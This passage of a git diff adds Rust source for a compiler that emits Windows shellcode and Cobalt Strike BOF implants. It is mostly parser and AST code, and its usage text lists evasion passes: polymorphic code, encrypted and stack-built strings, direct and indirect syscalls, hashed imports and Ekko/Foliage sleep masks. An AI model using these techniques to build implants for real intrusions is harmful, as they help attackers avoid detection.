base, index } => { + rewrite_expr(base, variants, enums)?; + rewrite_expr(index, variants, enums)?; + } + Expr::IndexAssign { base, index, value } => { + rewrite_expr(base, variants, enums)?; + rewrite_expr(index, variants, enums)?; + rewrite_expr(value, variants, enums)?; + } + Expr::Cast { expr, .. } => rewrite_expr(expr, variants, enums)?, + Expr::StructLit { fields, .. } => { + for (_, fv) in fields { rewrite_expr(fv, variants, enums)?; } + } + Expr::Int(_) | Expr::Bool(_) | Expr::Str(_) + | Expr::Var(_) | Expr::SizeOf { .. } => {} + } + Ok(()) + } + + fn rewrite_stmt( + s: &mut Stmt, + variants: &std::collections::HashMap<(String, String), i64>, + enums: &std::collections::HashSet, + ) -> Result<(), String> { + match s { + Stmt::Var { value, .. } => { + if let Some(v) = value { rewrite_expr(v, variants, enums)?; } + } + Stmt::Expr { value, .. } => rewrite_expr(value, variants, enums)?, + Stmt::If { cond, then_body, else_body } => { + rewrite_expr(cond, variants, enums)?; + for st in then_body { rewrite_stmt(st, variants, enums)?; } + for st in else_body { rewrite_stmt(st, variants, enums)?; } + } + Stmt::While { cond, body } => { + rewrite_expr(cond, variants, enums)?; + for st in body { rewrite_stmt(st, variants, enums)?; } + } + Stmt::For { init, cond, step, body } => { + if let Some(i) = init { rewrite_stmt(i, variants, enums)?; } + if let Some(c) = cond { rewrite_expr(c, variants, enums)?; } + if let Some(st) = step { rewrite_stmt(st, variants, enums)?; } + for st in body { rewrite_stmt(st, variants, enums)?; } + } + Stmt::Ret { value: Some(v), .. } => rewrite_expr(v, variants, enums)?, + Stmt::Raise { value, .. } => rewrite_expr(value, variants, enums)?, + Stmt::Try { body, handler, .. } => { + for st in body { rewrite_stmt(st, variants, enums)?; } + for st in handler { rewrite_stmt(st, variants, enums)?; } + } + Stmt::Asm(_) + | Stmt::Ret { value: None, .. } + | Stmt::Break + | Stmt::Continue => {} + } + Ok(()) + } + + for f in &mut prog.functions { + for st in &mut f.body { + rewrite_stmt(st, &variants, &enum_names)?; + } + } + for s in &mut prog.statics { + if let Some(init) = &mut s.init { + rewrite_expr(init, &variants, &enum_names)?; + } + } + Ok(()) +} + +fn synthesize_bof_arg_parsers(prog: &mut ast::Program) { + use ast::{Expr, Function, Param, Span, Stmt}; + + let bof_arg_structs: Vec<(String, Vec<(String, String)>)> = prog.structs.iter() + .filter(|s| s.attrs.iter().any(|a| a.kind == "BofArgs")) + .map(|s| (s.name.clone(), s.fields.clone())) + .collect(); + + for (struct_name, fields) in bof_arg_structs { + let fn_name = format!("bof_parse_{struct_name}"); + // Don't synthesise twice (e.g. if the user wrote their own). + if prog.functions.iter().any(|f| f.name == fn_name) { + continue; + } + + let mut body: Vec = Vec::new(); + let zero_span = Span::default(); + let mk_call = |ns: &str, fname: &str, args: Vec| -> Expr { + Expr::Call { + ns: ns.to_string(), + fname: fname.to_string(), + args, + span: zero_span, + } + }; + let mk_addr_local = |name: &str| -> Expr { + Expr::Unary { op: "&".to_string(), operand: Box::new(Expr::Var(name.to_string())) } + }; + let mk_field_write = |base: &str, field: &str, value: Expr| -> Stmt { + Stmt::Expr { + value: Expr::FieldAssign { + base: Box::new(Expr::Var(base.to_string())), + field: field.to_string(), + value: Box::new(value), + }, + span: zero_span, + } + }; + + // var parser: datap; + // BeaconDataParse expects datap*; declaring as datap and + // passing &parser matches the signature exactly. + body.push(Stmt::Var { + name: "parser".to_string(), + ty: "datap".to_string(), + value: None, + span: zero_span, + }); + + // BeaconDataParse; + body.push(Stmt::Expr { + value: mk_call("", "BeaconDataParse", vec![ + mk_addr_local("parser"), + Expr::Var("args".to_string()), + Expr::Var("len".to_string()), + ]), + span: zero_span, + }); + + // Per-field assignment. + for (fname, fty) in &fields { + let extractor = match fty.as_str() { + "int" | "i32" | "u32" => Some("BeaconDataInt"), + "i16" | "u16" => Some("BeaconDataShort"), + "str" | "char*" | "u8*" => Some("BeaconDataExtract"), + _ => None, + }; + let call_args: Vec = if let Some(ex) = extractor { + if ex == "BeaconDataExtract" { + // BeaconDataExtract takes (parser, &size_out). We + // don't capture the size here; pass a null + // pointer (cast from 0) to ignore it. + vec![ + mk_addr_local("parser"), + Expr::Cast { + ty: "int*".to_string(), + expr: Box::new(Expr::Int(0)), + }, + ] + } else { + vec![mk_addr_local("parser")] + } + } else { + // Insert a clearly-failing call so typecheck flags + // the user's struct rather than a synthesised name. + eprintln!( + "warning: [BofArgs] struct `{struct_name}`: field \ + `{fname}: {fty}` has an unsupported type. Supported: \ + int/i32/u32 (BeaconDataInt), i16/u16 (BeaconDataShort), \ + str/char*/u8* (BeaconDataExtract). Skipping this field."); + continue; + }; + let call = mk_call("", extractor.unwrap(), call_args); + // Result types: extract returns char*. Int/Short return + // int. Cast to the field's declared type so the + // FieldAssign typecheck is happy. + let casted = Expr::Cast { + ty: fty.clone(), + expr: Box::new(call), + }; + // out. = + body.push(Stmt::Expr { + value: Expr::FieldAssign { + base: Box::new(Expr::Var("out".to_string())), + field: fname.clone(), + value: Box::new(casted), + }, + span: zero_span, + }); + } + // Suppress unused-helper warning for early-return path. + let _ = mk_field_write; + + body.push(Stmt::Ret { value: None, span: zero_span }); + + let f = Function { + name: fn_name, + // u8* is the canonical spelling for char* internally; + // using it here makes the typecheck happy regardless of + // whether the caller wrote char* or u8* for args. + params: vec![ + Param { name: "args".to_string(), ty: "u8*".to_string() }, + Param { name: "len".to_string(), ty: "int".to_string() }, + Param { name: "out".to_string(), ty: format!("{struct_name}*") }, + ], + ret_ty: "void".to_string(), + body, + attrs: Vec::new(), + is_extern: false, + }; + prog.functions.push(f); + } +} + +fn synthetic_use_tokens(path: &str) -> Vec { + vec![ + lexer::Token { kind: lexer::Tok::Use, line: 1, col: 1 }, + lexer::Token { kind: lexer::Tok::Str(path.to_string()), line: 1, col: 1 }, + lexer::Token { kind: lexer::Tok::Semi, line: 1, col: 1 }, + ] +} + +fn resolve_stdlib_subpath(source_path: &str, subpath: &str) -> Option { + let abs_source = std::fs::canonicalize(source_path).ok()?; + let mut cursor = abs_source.parent()?.to_path_buf(); + loop { + let candidate = cursor.join("stdlib").join(subpath); + if candidate.exists() { + let canon = std::fs::canonicalize(&candidate).ok()?; + let s = canon.to_string_lossy(); + let cleaned = s.trim_start_matches(r"\\?\").to_string(); + return Some(cleaned); + } + match cursor.parent() { + Some(p) if p != cursor => cursor = p.to_path_buf(), + _ => return None, + } + } +} + +fn auto_include_win32_constants( + prog: &mut ast::Program, + source_path: &str, +) -> Result<(), String> { + // Locate the stdlib/win32 directory by walking up from the + // source. Matches resolve_stdlib_subpath but returns a + // directory rather than a single-file path. + let abs_source = std::fs::canonicalize(source_path) + .map_err(|e| format!("auto-include win32: {e}"))?; + let mut cursor = match abs_source.parent() { + Some(p) => p.to_path_buf(), + // Source has no parent - nothing to walk up from. Bail + // silently; the operator still gets the language without + // the constants. + None => return Ok(()), + }; + let win32_dir = loop { + let candidate = cursor.join("stdlib").join("win32"); + if candidate.is_dir() { + break candidate; + } + match cursor.parent() { + Some(p) if p != cursor => cursor = p.to_path_buf(), + // Reached the root without finding stdlib/win32. Not + // an error - operators outside the workspace just + // don't get the auto-include. + _ => return Ok(()), + } + }; + + // Build a set of names that are already declared so the + // auto-include skips anything the user owns. + let mut existing_static_names: std::collections::HashSet = + prog.statics.iter().map(|s| s.name.clone()).collect(); + let mut existing_struct_names: std::collections::HashSet = + prog.structs.iter().map(|s| s.name.clone()).collect(); + + // Walk every .h in stdlib/win32 in alphabetical order so + // the merge order is deterministic. + let mut headers: Vec = std::fs::read_dir(&win32_dir) + .map_err(|e| format!("auto-include win32: read_dir {}: {e}", win32_dir.display()))? + .filter_map(|e| e.ok()) + .map(|e| e.path()) + .filter(|p| p.extension().map(|x| x == "h").unwrap_or(false)) + .collect(); + headers.sort(); + + for header in headers { + let header_str = header.to_string_lossy().to_string(); + let imported = match cimport::parse_header(&header_str) { + Ok(i) => i, + Err(e) => { + eprintln!( + "warning: auto-include win32: failed to parse {header_str}: {e}" + ); + continue; + } + }; + for s in imported.structs { + if existing_struct_names.insert(s.name.clone()) { + prog.structs.push(s); + } + } + for s in imported.statics { + if existing_static_names.insert(s.name.clone()) { + prog.statics.push(s); + } + } + } + Ok(()) +} + +/// Format the in-memory debug breadcrumbs as a human-readable sidecar. +/// Each line is : . Sorted +/// by offset so a grep on a crash PC's hex finds the nearest entry. +fn format_dbg( + src_path: &str, + marks: &[encoder::DbgMark], + vars: &[encoder::DbgVar], +) -> String { + let mut out = String::new(); + out.push_str(&format!("# entropy debug map for {src_path}\n")); + out.push_str("# offset line:col kind source\n"); + for m in marks { + out.push_str(&format!( + "{:08x} {:>5}:{:<3} {:<8} {}\n", + m.code_off, m.line, m.col, m.kind, src_path + )); + } + if !vars.is_empty() { + out.push_str("\n# variables\n"); + out.push_str("# name : type : loc : line_start..line_end\n"); + for v in vars { + let end = if v.line_end == u32::MAX { "max".to_string() } + else { v.line_end.to_string() }; + out.push_str(&format!( + "{} : {} : {} : {}..{}\n", + v.name, v.ty, v.loc, v.line_start, end + )); + } + } + out +} + + +fn parse_gc_mode(arg: &str) -> Result { + match arg { + "auto" => Ok(codegen::GcMode::Auto), + "on" => Ok(codegen::GcMode::On), + "off" => Ok(codegen::GcMode::Off), + "manual" | "unsafe" => Ok(codegen::GcMode::Manual), + other => Err(format!( + "--gc value must be auto|on|off|manual (got `{other}`)" + )), + } +} + +fn parse_build_kind(arg: &str) -> Result { + match arg { + "standard" | "bin" => Ok(codegen::BuildKind::Standard), + "bof" => Ok(codegen::BuildKind::Bof), + "coff" => Ok(codegen::BuildKind::Coff), + other => Err(format!("--type value must be standard|bof|coff (got `{other}`)")), + } +} + +fn dump_hex(bytes: &[u8]) { + let mut stdout = std::io::stdout().lock(); + for (i, chunk) in bytes.chunks(16).enumerate() { + let _ = write!(stdout, "{:08x} ", i * 16); + for b in chunk { let _ = write!(stdout, "{b:02x} "); } + for _ in chunk.len()..16 { let _ = write!(stdout, " "); } + let _ = write!(stdout, " |"); + for &b in chunk { + let c = if (0x20..0x7e).contains(&b) { b as char } else { '.' }; + let _ = write!(stdout, "{c}"); + } + let _ = writeln!(stdout, "|"); + } +} + +fn default_output(input: &str) -> String { + let p = std::path::Path::new(input); + let stem = p.file_stem().and_then(|s| s.to_str()).unwrap_or("a"); + let parent = p.parent(); + let bin_dir = match parent { + Some(d) if !d.as_os_str().is_empty() => d.join("bin"), + _ => std::path::PathBuf::from("bin"), + }; + bin_dir.join(format!("{stem}.bin")).to_string_lossy().to_string() +} + +fn ensure_parent_dir(out: &str) -> Result<(), String> { + if let Some(parent) = std::path::Path::new(out).parent() { + if !parent.as_os_str().is_empty() && !parent.exists() { + fs::create_dir_all(parent) + .map_err(|e| format!("create_dir_all {}: {e}", parent.display()))?; + } + } + Ok(()) +} + +fn output_stem(out: &str) -> String { + if let Some(s) = out.strip_suffix(".x64.o") { return s.to_string(); } + if let Some(s) = out.strip_suffix(".x86.o") { return s.to_string(); } + out.trim_end_matches(".bin") + .trim_end_matches(".obj") + .trim_end_matches(".coff") + .to_string() +} + +fn run() -> Result<(), String> { + let args: Vec = env::args().collect(); + if args.len() < 3 { + // Strip argv[0] to its basename so the usage line reads + // entc.exe compile ... instead of leaking the full path. + let prog = std::path::Path::new(&args[0]) + .file_name() + .and_then(|s| s.to_str()) + .unwrap_or("entc"); + let ext = SRC_EXT; + eprintln!("Entropia compiler - Windows x86-64 PIC / BOF code generator"); + eprintln!("Copyright (c) EntropyKit\n"); + eprintln!("USAGE"); + eprintln!(" {prog} compile [options]"); + eprintln!(" {prog} dump [options]\n"); + eprintln!("OUTPUT"); + eprintln!(" -o output file. Defaults land in `/bin/`:"); + eprintln!(" example/foo.etpy to example/bin/foo.bin"); + eprintln!(" Extension follows the build kind: .bin for"); + eprintln!(" shellcode, .x64.o for --type=bof, .obj for --type=coff."); + eprintln!(" Sidecar files (`.dbg`, `.cna`) live alongside the"); + eprintln!(" artifact. `-o ` is honoured verbatim - pass an"); + eprintln!(" explicit path to bypass the `bin/` subdirectory."); + eprintln!(" --debug, -g emit a `.dbg` sidecar with source-line + var"); + eprintln!(" breadcrumbs for the VS Code adapter (F5/F9).\n"); + eprintln!("BUILD KIND"); + eprintln!(" --type=standard|bin raw PIC shellcode `.bin` (default)."); + eprintln!(" --type=bof Cobalt Strike BOF `.x64.o` (COFF). Entry is"); + eprintln!(" `fn go(args, len)`; uses Beacon API."); + eprintln!(" --type=coff generic Windows COFF `.obj`, no Beacon-API assumptions.\n"); + eprintln!("RUNTIME"); + eprintln!(" --gc=auto emit GC runtime iff `mem.alloc` is used (default)."); + eprintln!(" --gc=on always emit (for dynamic / inline-asm callers)."); + eprintln!(" --gc=off never emit; `mem.alloc` becomes a compile error."); + eprintln!(" --gc=manual|unsafe no GC runtime; `mem.alloc` and `mem.free` lower"); + eprintln!(" to direct HeapAlloc/HeapFree through the process"); + eprintln!(" heap. Operator is responsible for matching pairs.\n"); + eprintln!("OPSEC (--opsec=, comma-separated; flags accumulate)"); + eprintln!(" poly same-length instruction-substitution pass (xor/sub, mov"); + eprintln!(" MR/RM/lea, test/or/and, NOP-run re-decompose). Reloc-aware."); + eprintln!(" poly=deep all of `poly` PLUS length-changing equivalent code"); + eprintln!(" expansion (xor reg,reg rewrites as and reg,0, mov reg,0,"); + eprintln!(" or nop; xor). Defeats semantic-normalising matchers."); + eprintln!(" strings_xor XOR-encrypt .rdata/.data with a per-build key."); + eprintln!(" Standard shellcode only; silently skipped for BOF"); + eprintln!(" (loader maps .rdata read-only)."); + eprintln!(" nop_sled 0..=64 B multi-byte NOP at the entry function,"); + eprintln!(" 0..=16 B at every other function. Shifts offsets"); + eprintln!(" so whole-binary fuzzy hashes drift per build."); + eprintln!(" direct_syscalls auto-include stdlib/opsec/direct_syscall.etpy so"); + eprintln!(" every Ntdll.X(...) dispatches via `syscall` inside"); + eprintln!(" our own code region."); + eprintln!(" indirect_syscalls auto-include stdlib/opsec/indirect_syscall.etpy so"); + eprintln!(" Ntdll.X(...) jumps to a `syscall;ret` gadget INSIDE"); + eprintln!(" ntdll. Mutually exclusive with direct_syscalls."); + eprintln!(" hashed_imports BOF only: drop `__imp_LIB$Func` external symbols"); + eprintln!(" from the COFF. Win32 imports resolved at runtime"); + eprintln!(" via PEB-walk + LoadLibraryA + GetProcAddress. Beacon"); + eprintln!(" API (`Beacon*`) stays on the standard external path."); + eprintln!(" stack_strings rebuild short string literals on the stack at runtime"); + eprintln!(" (`mov [rsp+N], imm64` runs) instead of pointing at"); + eprintln!(" `.rdata`. Defeats `strings`-based triage. Composes"); + eprintln!(" with `strings_xor` - stack-built strings are excluded"); + eprintln!(" from the XOR pool."); + eprintln!(" sleep_mask= auto-include a `[Hook(\"KERNEL32$Sleep\")]` template"); + eprintln!(" that encrypts the implant region across the wait."); + eprintln!(" Variants:"); + eprintln!(" simple XOR + real Sleep (smallest, weakest)."); + eprintln!(" ekko XOR + VirtualProtect RX to RW + sleep via"); + eprintln!(" WaitForSingleObject. Call stack at scan"); + eprintln!(" time shows a wait frame, not a Sleep"); + eprintln!(" frame - the Ekko signature trick."); + eprintln!(" foliage XOR + VirtualProtect flip + sleep via"); + eprintln!(" NtDelayExecution. Pairs with"); + eprintln!(" --opsec=direct_syscalls so the syscall"); + eprintln!(" comes out of our own code region."); + eprintln!(" Skipped if the source already has a"); + eprintln!(" `[Hook(\"KERNEL32$Sleep\")]` - operator's mask wins."); + eprintln!(" all every technique above. Does NOT pick a sleep_mask"); + eprintln!(" variant - masks are implant-specific."); + eprintln!(" none explicit no-op.\n"); + eprintln!(" --seed=|0x|random"); + eprintln!(" RNG seed driving every randomised pass. Same seed to "); + eprintln!(" byte-identical output. Default: system-time nanos.\n"); + eprintln!("EXAMPLES"); + eprintln!(" {prog} compile example/asm_demo.etpy --opsec=all --seed=42"); + eprintln!(" {prog} compile example/bof_pslist.etpy --type=bof --opsec=all"); + eprintln!(" {prog} compile prog.etpy --type=bof --opsec=poly,nop_sled,direct_syscalls"); + return Err("missing args".into()); + } + match args[1].as_str() { + "compile" => { + let inp = &args[2]; + let mut out = default_output(inp); + let mut gc_mode = codegen::GcMode::Auto; + let mut kind = codegen::BuildKind::Standard; + let mut emit_dbg = false; + let mut opsec = polymorphism::OpsecConfig::default(); + let mut i = 3; + while i < args.len() { + let a = &args[i]; + if a == "-o" && i + 1 < args.len() { + out = args[i+1].clone(); i += 2; + } else if let Some(v) = a.strip_prefix("--gc=") { + gc_mode = parse_gc_mode(v)?; i += 1; + } else if let Some(v) = a.strip_prefix("--type=") { + kind = parse_build_kind(v)?; i += 1; + } else if a == "--type" && i + 1 < args.len() { + kind = parse_build_kind(&args[i+1])?; i += 2; + } else if let Some(v) = a.strip_prefix("--opsec=") { + let new_cfg = polymorphism::OpsecConfig::parse(v)?; + opsec.poly |= new_cfg.poly; + opsec.poly_deep |= new_cfg.poly_deep; + opsec.reorder_functions |= new_cfg.reorder_functions; + if new_cfg.junk_level > opsec.junk_level { + opsec.junk_level = new_cfg.junk_level; + } + opsec.strings_xor |= new_cfg.strings_xor; + opsec.stack_strings |= new_cfg.stack_strings; + opsec.nop_sled |= new_cfg.nop_sled; + opsec.direct_syscalls |= new_cfg.direct_syscalls; + opsec.indirect_syscalls |= new_cfg.indirect_syscalls; + opsec.hashed_imports |= new_cfg.hashed_imports; + if new_cfg.sleep_mask != polymorphism::SleepMaskVariant::None { + opsec.sleep_mask = new_cfg.sleep_mask; + } + // Same "indirect wins" disambiguation as + // OpsecConfig::parse: both occupy the NtCall + // override slot, so we keep at most one. + if opsec.indirect_syscalls { + opsec.direct_syscalls = false; + } + i += 1; + } else if let Some(v) = a.strip_prefix("--seed=") { + opsec.seed = Some(polymorphism::OpsecConfig::parse_seed(v)?); + i += 1; + } else if a == "--debug" || a == "-g" { + emit_dbg = true; i += 1; + } else { + return Err(format!("unknown arg: {a}")); + } + } + if out.ends_with(".bin") { + let stem = out.trim_end_matches(".bin"); + out = match kind { + codegen::BuildKind::Standard => out.clone(), + codegen::BuildKind::Bof => format!("{stem}.x64.o"), + codegen::BuildKind::Coff => format!("{stem}.obj"), + }; + } + let blob = compile(inp, gc_mode, kind, opsec.clone())?; + ensure_parent_dir(&out)?; + fs::write(&out, &blob.code).map_err(|e| e.to_string())?; + let kind_str = match kind { + codegen::BuildKind::Standard => "shellcode", + codegen::BuildKind::Bof => "BOF (COFF .x64.o)", + codegen::BuildKind::Coff => "COFF .obj", + }; + let opsec_suffix = if opsec.any() { + let mut techniques = Vec::::new(); + if opsec.poly { techniques.push("poly".into()); } + if opsec.poly_deep { techniques.push("poly=deep".into()); } + if opsec.junk_level > 0 { techniques.push(format!("junk={}", opsec.junk_level)); } + if opsec.reorder_functions { techniques.push("reorder".into()); } + if opsec.strings_xor { techniques.push("strings_xor".into()); } + if opsec.stack_strings { techniques.push("stack_strings".into()); } + if opsec.nop_sled { techniques.push("nop_sled".into()); } + if opsec.direct_syscalls { techniques.push("direct_syscalls".into()); } + if opsec.indirect_syscalls { techniques.push("indirect_syscalls".into()); } + if opsec.hashed_imports { techniques.push("hashed_imports".into()); } + if opsec.sleep_mask != polymorphism::SleepMaskVariant::None { + techniques.push(format!("sleep_mask={}", opsec.sleep_mask.name())); + } + format!(", opsec=[{}]", techniques.join(",")) + } else { + String::new() + }; + eprintln!("wrote {} ({} bytes, {}{})", + out, blob.code.len(), kind_str, opsec_suffix); + if emit_dbg { + let stem = output_stem(&out); + let dbg_path = format!("{stem}.dbg"); + let dbg = format_dbg(inp, &blob.dbg_marks, &blob.dbg_vars); + ensure_parent_dir(&dbg_path)?; + fs::write(&dbg_path, dbg).map_err(|e| e.to_string())?; + eprintln!("wrote {} ({} entries)", dbg_path, blob.dbg_marks.len()); + } + if let Some(cna) = &blob.cna_script { + let stem = output_stem(&out); + let cna_path = format!("{stem}.cna"); + ensure_parent_dir(&cna_path)?; + fs::write(&cna_path, cna).map_err(|e| e.to_string())?; + eprintln!("wrote {} ({} bytes, Aggressor script)", + cna_path, cna.len()); + } + } + "dump" => { + let mut gc_mode = codegen::GcMode::Auto; + let mut i = 3; + while i < args.len() { + let a = &args[i]; + if let Some(v) = a.strip_prefix("--gc=") { + gc_mode = parse_gc_mode(v)?; i += 1; + } else { + return Err(format!("unknown arg: {a}")); + } + } + let blob = compile(&args[2], gc_mode, codegen::BuildKind::Standard, + polymorphism::OpsecConfig::default())?; + dump_hex(&blob.code); + eprintln!("total {} bytes", blob.code.len()); + } + other => return Err(format!("unknown subcommand: {other}")), + } + Ok(()) +} + +fn main() -> ExitCode { + match run() { + Ok(()) => ExitCode::SUCCESS, + Err(e) => { eprintln!("error: {e}"); ExitCode::FAILURE } + } +} diff --git a/src/parser.rs b/src/parser.rs new file mode 100644 index 0000000..32c7080 --- /dev/null +++ b/src/parser.rs @@ -0,0 +1,1045 @@ +// SPDX-License-Identifier: Apache-2.0 +//! Recursive-descent parser. + +use std::cell::RefCell; +use std::collections::HashSet; +use std::path::{Path, PathBuf}; +use std::rc::Rc; + +use crate::asm::{parse_asm_line, AsmBody, AsmLine}; +use crate::ast::*; +use crate::cimport; +use crate::lexer::{self, Tok, Token}; + +fn resolve_stdlib_import(importer: &Path, name: &str) -> Option { + let importer_dir = importer.parent()?; + let mut candidates: Vec = vec![format!("{name}.etpy")]; + if let Some(idx) = name.find('_') { + let (head, tail_with_us) = name.split_at(idx); + let tail = &tail_with_us[1..]; // skip the underscore + candidates.push(format!("{head}/{tail}.etpy")); + } + candidates.push(format!("opsec/{name}.etpy")); + + let mut cursor = importer_dir.to_path_buf(); + loop { + for sub in &candidates { + let candidate = cursor.join("stdlib").join(sub); + if candidate.exists() { + let rel = pathdiff_relative(&candidate, importer_dir) + .unwrap_or(candidate); + return Some(rel.to_string_lossy().to_string()); + } + } + match cursor.parent() { + Some(p) if p != cursor => cursor = p.to_path_buf(), + _ => return None, + } + } +} + +/// dst relative to base (both absolute, or both relative to the +/// same anchor). Inline replacement for the pathdiff crate. +fn pathdiff_relative(dst: &Path, base: &Path) -> Option { + use std::path::Component; + let d: Vec<_> = dst.components().collect(); + let b: Vec<_> = base.components().collect(); + let mut common = 0; + while common < d.len() && common < b.len() && d[common] == b[common] { + common += 1; + } + let mut out = PathBuf::new(); + for _ in &b[common..] { + out.push(".."); + } + for c in &d[common..] { + match c { + Component::Normal(s) => out.push(s), + Component::RootDir | Component::Prefix(_) | Component::CurDir | Component::ParentDir => { + out.push(c.as_os_str()); + } + } + } + if out.as_os_str().is_empty() { None } else { Some(out) } +} + +/// Sized-integer aliases. These are always valid as cast targets regardless +/// of whether the source declared anything by that name. +fn is_sized_int_name(s: &str) -> bool { + matches!(s, "i8" | "i16" | "i32" | "i64" | "u8" | "u16" | "u32" | "u64") +} + +pub struct Parser { + toks: Vec, + pos: usize, + type_names: HashSet, + /// Absolute path of this parser's source file. use resolves + /// relative to this directory. + source_path: PathBuf, + /// Canonical paths already pulled in. Shared across recursive + /// use so cycle detection is global. + imported: Rc>>, +} + +impl Parser { + /// Root parser. Seeds imported with the source file's own path + /// so a transitive use of it is a silent no-op. + pub fn new(toks: Vec, source_path: impl AsRef) -> Self { + let imported = Rc::new(RefCell::new(HashSet::new())); + let p = source_path.as_ref().to_path_buf(); + if let Ok(canon) = std::fs::canonicalize(&p) { + imported.borrow_mut().insert(canon); + } + Self { + toks, + pos: 0, + type_names: HashSet::new(), + source_path: p, + imported, + } + } + + /// Child parser for use expansion. Shares imported with the parent. + fn new_child( + toks: Vec, + source_path: PathBuf, + imported: Rc>>, + ) -> Self { + Self { + toks, + pos: 0, + type_names: HashSet::new(), + source_path, + imported, + } + } + + fn peek(&self) -> &Tok { &self.toks[self.pos].kind } + fn peek_tok(&self) -> &Token { &self.toks[self.pos] } + fn advance(&mut self) -> Tok { let k = self.toks[self.pos].kind.clone(); self.pos += 1; k } + fn check(&self, k: &Tok) -> bool { std::mem::discriminant(self.peek()) == std::mem::discriminant(k) } + fn matches(&mut self, k: &Tok) -> bool { + if self.check(k) { self.advance(); true } else { false } + } + fn expect(&mut self, k: &Tok, what: &str) -> Result { + if self.check(k) { Ok(self.advance()) } + else { + let t = self.peek_tok(); + Err(format!("parse error at {}:{}: expected {what}, got {:?}", t.line, t.col, t.kind)) + } + } + fn eat_ident(&mut self) -> Result { + if let Tok::Ident(s) = self.peek().clone() { self.advance(); Ok(s) } + else { + let t = self.peek_tok(); + Err(format!("parse error at {}:{}: expected identifier", t.line, t.col)) + } + } + + pub fn parse_program(&mut self) -> Result { + let mut p = Program::default(); + while !self.check(&Tok::Eof) { + // Collect attributes first; check that the next item is + // one that accepts them (fn or struct). + let attrs = self.parse_attrs()?; + match self.peek() { + Tok::Fn | Tok::Extern => { + let mut f = self.parse_fn()?; + f.attrs = attrs; + p.functions.push(f); + } + Tok::Struct => { + let mut s = self.parse_struct()?; + s.attrs = attrs; + self.type_names.insert(s.name.clone()); + p.structs.push(s); + } + _ if !attrs.is_empty() => { + let t = self.peek_tok(); + return Err(format!( + "parse error at {}:{}: attributes only apply to `fn` or `struct` declarations", + t.line, t.col + )); + } + Tok::Static => p.statics.push(self.parse_static()?), + Tok::Enum => { + let e = self.parse_enum()?; + self.type_names.insert(e.name.clone()); + p.enums.push(e); + } + Tok::UseC => self.parse_use_c_into(&mut p)?, + Tok::Use => self.parse_use_into(&mut p)?, + _ => { + let t = self.peek_tok(); + return Err(format!( + "parse error at {}:{}: expected `fn`, `extern fn`, `static`, `struct`, `enum`, `use_c`, or `use`", + t.line, t.col + )); + } + } + } + Ok(p) + } + + fn parse_attrs(&mut self) -> Result, String> { + let mut out = Vec::new(); + while self.check(&Tok::LBrack) { + self.advance(); + let kind = self.eat_ident()?; + let arg = if self.matches(&Tok::LParen) { + let name = match self.peek().clone() { + Tok::Str(s) => { self.advance(); s } + Tok::Ident(s) => { self.advance(); s } + _ => { + let t = self.peek_tok(); + return Err(format!( + "parse error at {}:{}: attribute argument must be \ + an identifier or string literal", + t.line, t.col + )); + } + }; + self.expect(&Tok::RParen, "`)`")?; + Some(name) + } else { + None + }; + self.expect(&Tok::RBrack, "`]`")?; + out.push(Attr { kind, arg }); + } + Ok(out) + } + + fn parse_use_c_into(&mut self, prog: &mut Program) -> Result<(), String> { + let here = self.peek_tok().clone(); + self.expect(&Tok::UseC, "`use_c`")?; + let rel_path = match self.peek().clone() { + Tok::Str(s) => { self.advance(); s } + _ => return Err(format!( + "parse error at {}:{}: expected string literal path after `use_c`", + here.line, here.col + )), + }; + self.expect(&Tok::Semi, "`;`")?; + + let dir = self.source_path.parent().unwrap_or_else(|| Path::new(".")); + let candidate = dir.join(&rel_path); + let resolved = if candidate.exists() { + candidate + } else { + PathBuf::from(&rel_path) + }; + let resolved_str = resolved.to_string_lossy().to_string(); + + let imported = cimport::parse_header(&resolved_str)?; + for s in &imported.structs { + self.type_names.insert(s.name.clone()); + } + prog.structs.extend(imported.structs); + prog.statics.extend(imported.statics); + Ok(()) + } + + fn parse_use_into(&mut self, prog: &mut Program) -> Result<(), String> { + let here = self.peek_tok().clone(); + self.expect(&Tok::Use, "`use`")?; + + let rel_path = match self.peek().clone() { + Tok::Str(s) => { self.advance(); s } + Tok::Ident(name) => { + self.advance(); + resolve_stdlib_import(&self.source_path, &name) + .ok_or_else(|| format!( + "use `{name}`: no stdlib module found. \ + Expected to find `stdlib/{name}.etpy` walking \ + up from {}.", + self.source_path.display() + ))? + } + _ => return Err(format!( + "parse error at {}:{}: expected `\"path\"` or stdlib name after `use`", + here.line, here.col + )), + }; + self.expect(&Tok::Semi, "`;`")?; + + // Resolve relative to the importing file's directory. + let dir = self.source_path.parent().unwrap_or_else(|| Path::new(".")); + let abs = dir.join(&rel_path); + let canon = std::fs::canonicalize(&abs) + .map_err(|e| format!( + "use \"{rel_path}\": {} ({})", + e, + abs.display(), + ))?; + + // Dedupe + cycle break. + if !self.imported.borrow_mut().insert(canon.clone()) { + return Ok(()); + } + + // Parse the imported file. Use new_child so the child shares our + // imported-paths set - any use it does dedupes globally. + let src = std::fs::read_to_string(&canon) + .map_err(|e| format!("use \"{rel_path}\": {e}"))?; + let tokens = lexer::tokenize(&src)?; + let mut child = Parser::new_child(tokens, canon.clone(), self.imported.clone()); + let sub = child.parse_program() + .map_err(|e| format!("in `use \"{rel_path}\"`: {e}"))?; + + // Merge. Struct + enum names get registered in our own + // type_names set so subsequent casts / declarations in + // this file can refer to them. + for s in &sub.structs { + self.type_names.insert(s.name.clone()); + } + for e in &sub.enums { + self.type_names.insert(e.name.clone()); + } + prog.structs.extend(sub.structs); + prog.statics.extend(sub.statics); + prog.functions.extend(sub.functions); + prog.enums.extend(sub.enums); + Ok(()) + } + + fn parse_type(&mut self) -> Result { + let mut ty = match self.peek().clone() { + Tok::Int_ => { self.advance(); "int".to_string() } + Tok::Str_ => { self.advance(); "str".to_string() } + Tok::Wstr_ => { self.advance(); "wstr".to_string() } + Tok::Bool_ => { self.advance(); "bool".to_string() } + Tok::Void_ => { self.advance(); "void".to_string() } + Tok::Char_ => { self.advance(); "u8".to_string() } + Tok::Ident(name) => { self.advance(); name } + _ => { + let t = self.peek_tok(); + return Err(format!("parse error at {}:{}: expected type", t.line, t.col)); + } + }; + while self.matches(&Tok::Star) { + ty.push('*'); + } + if self.matches(&Tok::LBrack) { + let n = match self.peek().clone() { + Tok::Int(n) if n >= 0 => { self.advance(); n } + _ => { + let t = self.peek_tok(); + return Err(format!( + "parse error at {}:{}: array size must be a non-negative integer literal", + t.line, t.col + )); + } + }; + self.expect(&Tok::RBrack, "`]`")?; + ty = format!("{ty}[{n}]"); + } + Ok(ty) + } + + fn parse_static(&mut self) -> Result { + self.expect(&Tok::Static, "`static`")?; + let name = 